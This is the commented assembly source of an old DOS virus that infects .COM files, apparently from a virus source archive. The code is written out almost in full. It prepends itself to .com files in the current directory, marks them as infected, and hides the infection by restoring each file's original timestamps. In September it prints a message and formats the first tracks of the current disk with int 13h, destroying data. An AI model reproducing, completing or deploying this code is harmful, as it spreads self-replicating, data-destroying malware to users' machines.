2022-08-21 09:07:57 +00:00
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;
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; ---- Data Segment Values ----
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; ds:[0f6h] = read buffer location
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; ds:[0f8h] = write buffer location
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; ds:[0fah] = store length of virus at this location
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; ds:[0fch] = store length of file to be infected at this location
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; ds:[0feh] = filename of file to infect
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;
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.model tiny
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.code
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org 100h ; origin for .com files
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start:
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nop ; these two nop instructs will be used by 'Nasty'
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nop ; to determine if a file is already infected
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;******
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;get date
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;******
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mov ah,2ah ; get the date
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int 21h ; do it
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cmp dh,09h ; is it September?
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jnz do_not_activate ; if NO jmp do_not_activate
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;****
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;the nasty bit
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;****
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;*
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;* 1. Print message
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;*
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lea dx,mess ; print message
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mov ah,09 ; 'Nasty in September'
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int 21h ; do it
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;****
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;* 2. Destroy disk
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;****
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mov ah,19h ; get current drive (returned in al)
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int 21h ; do it
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mov dl,al ; dl = drive # to be formated
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mov ah,05 ; disk format function
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mov cl,01 ; first sector
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mov ch,00 ; first track
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mov dh,00 ; head zero
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mov al,10h ; 10h (16) sectors - 2 tracks
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int 13h ; do it (overwrite first 16 tracks on currently
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; selected disc)
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do_not_activate:
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mov cx,80h ; save parameters; set counter to 80h bytes
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mov si,0080h ; offset in the current data segment of the byte
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; to be copied
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mov di,0ff7fh ; offset to which byte is to be moved
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rep movsb ; move bytes until cx=0 (decrement cx by 1 each time
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; loop is performed is done automatically)
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; (increment by 1 of si & di is done automatically)
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lea ax,begp ; load exit from program offset address into ax
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mov cx,ax ; " " " " " " " cx
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sub ax,100h ; subtract start of .com file address (100h) from ax
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; ax now contains the length of the virus
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mov ds:[0fah],ax ; put length of the virus into the data segment at
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; offset 0fah
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add cx,fso ; add fso (5h) to cx (offset address of exit)
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; so, cx=cx+5
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mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at
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; offset 0f8h. ** Start of the write buffer.
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ADD CX,AX ; add virus length (ax) to cx ?????
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mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h.
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; ** Start of the read buffer
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mov cx,ax ; mov length of virus into cx
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lea si,start ; load address of 'start' (start of virus) into
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; souce index
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mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into
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; destination index
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rb: ; cx = counter (length of virus)
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; si = offset of byte to be read
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; di = offset of where to write byte to
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; (auto decrement of cx & increment of si & di)
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rep movsb ; copy the virus into memory
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stc ; set the carry flag
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lea dx,file_type_to_infect ; set infector for .com files only
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mov ah,4eh ; find first file with specified params
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mov cx,20h ; files with archive bit set
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int 21h ; do it
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; if file found, CF is cleared, else
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; CF is set
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or ax,ax ; works the below instructions (jz & jmp)
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jz file_found ; if file found jmp file_found
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jmp done ; if no file found, jmp done (exit virus)
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file_found:
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mov ah,2fh ; get dta (returned in es:bx)
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int 21h ; do it
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mov ax,es:[bx+1ah] ; mov size of file to be infected into ax
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mov ds:[0fch],ax ; mov filesize into ds:[0fch]
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add bx,1eh ; bx now points to asciz filename
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mov ds:[0feh],bx ; mov filename into ds:[0feh]
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clc ; clear carry flag
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mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename)
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mov dx,bx ; mov filename into dx
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int 21h ; do it (ax contains file handle)
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mov bx,ax ; mov file handle into bx
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mov ax,5700h ; get time & date attribs from file to infect
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int 21h ; do it (file handle in bx)
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push cx ; save time to the stack
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push dx ; save date to the stack
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mov ah,3fh ; read from file to be infected
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mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to
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; be infected
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mov dx,ds:[0f6h] ; buffer (where to read bytes to)
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int 21h ; do it
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mov bx,dx ; mov buffer location to bx
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mov ax,[bx] ; mov contents of bx (first two bytes - as bx is
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; 16-bits) into ax.
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; Now check to see if file is infected... if the
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; file is infected, it's first two bytes will be
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; 9090h (nop nop)
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sub ax,9090h ; If file is already infected, zero flag will be set
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; thus jump to fin(ish)
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jz fin
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mov ax,ds:[0fch] ; mov filesize of file to be infected into ax
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mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx
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mov [bx-2],ax ; correct old len
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mov ah,3ch ; Create file with handle
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mov cx,00h ; cx=attribs -- set no attributes
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mov dx,ds:[0feh] ; point to name
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clc ; clear carry flag
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int 21h ; create file
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; Note: If filename already exists, (which it does)
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; truncate the filelength to zero - this is ok as
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; we have already copied the file to be infected
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; into memory.
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mov bx,ax ; mov file handle into bx
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mov ah,40h ; write file with handle (write to the file to be
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; infected) - length currently zero
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; cx=number of bytes to write
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mov cx,ds:[0fch] ; length of file to be infected
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add cx,ds:[0fah] ; length of virus
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mov DX,ds:[0f8h] ; location of write buffer (this contains the virus
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; + the file to be infected)
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int 21h ; write file
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; new file = virus + file to be infected
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mov ax,5701h ; restore original time & date values
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pop dx ; get old date from the stack
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pop cx ; get old time from the stack
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int 21h ; do it
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; Note: Infected file will now carry the time & date
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; it had before the infection.
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mov ah,3eh ; close file (bx=file handle)
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int 21h ; do it
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; Note: date & time stamps automatically updated if
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; file written to.
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fin:
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stc ; set carry flags
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mov ah,4fh ; find next file (.com)
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int 21h ; do it
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or ax,ax ; decides zero flag outcome
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jnz done ; if no more .com files, jmp done
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JMP file_found ; else begin re-infection process for new file.
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done:
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mov cx,80h ; set counter (cx) = 80h
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mov si,0ff7fh ; source offset address (copy from here)
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mov di,0080h ; destination offset address (copy to here)
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rep movsb ; copy bytes! (cx is auto decremented by 1
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; si & di are auto incremented by 1)
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; Note: this is a 'restore parameters' feature
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; this does the reverse of what what done earlier
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; in the program (do_not_activate:)
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mov ax,0a4f3h ;
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mov ds:[0fff9h],ax ;
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mov al,0eah ;
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mov ds:[0fffbh],al ; reset data segment locations ??? (to previous
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mov ax,100h ; values before virus infection)
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mov ds:[0fffch],ax ;
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lea si,begp ; load exit from program offset address into si
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lea di,start ; load offset address of start of virus into di
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mov ax,cs
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mov ds:[0fffeh],ax ; re-align cs = ds ???
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mov kk,ax
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mov cx,fso
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db 0eah ; define byte
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dw 0fff9h ; define word
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kk dw 0000h ; define kk = word
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mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display
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file_type_to_infect db '*?.com',0 ; infect only .com files.
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fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes
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; in size (a word)
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; ----- alma mater
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begp:
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mov ax,4c00h ; normal dos termination (set al to 00)
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int 21h ; do it
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end start
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2021-01-12 23:58:25 +00:00
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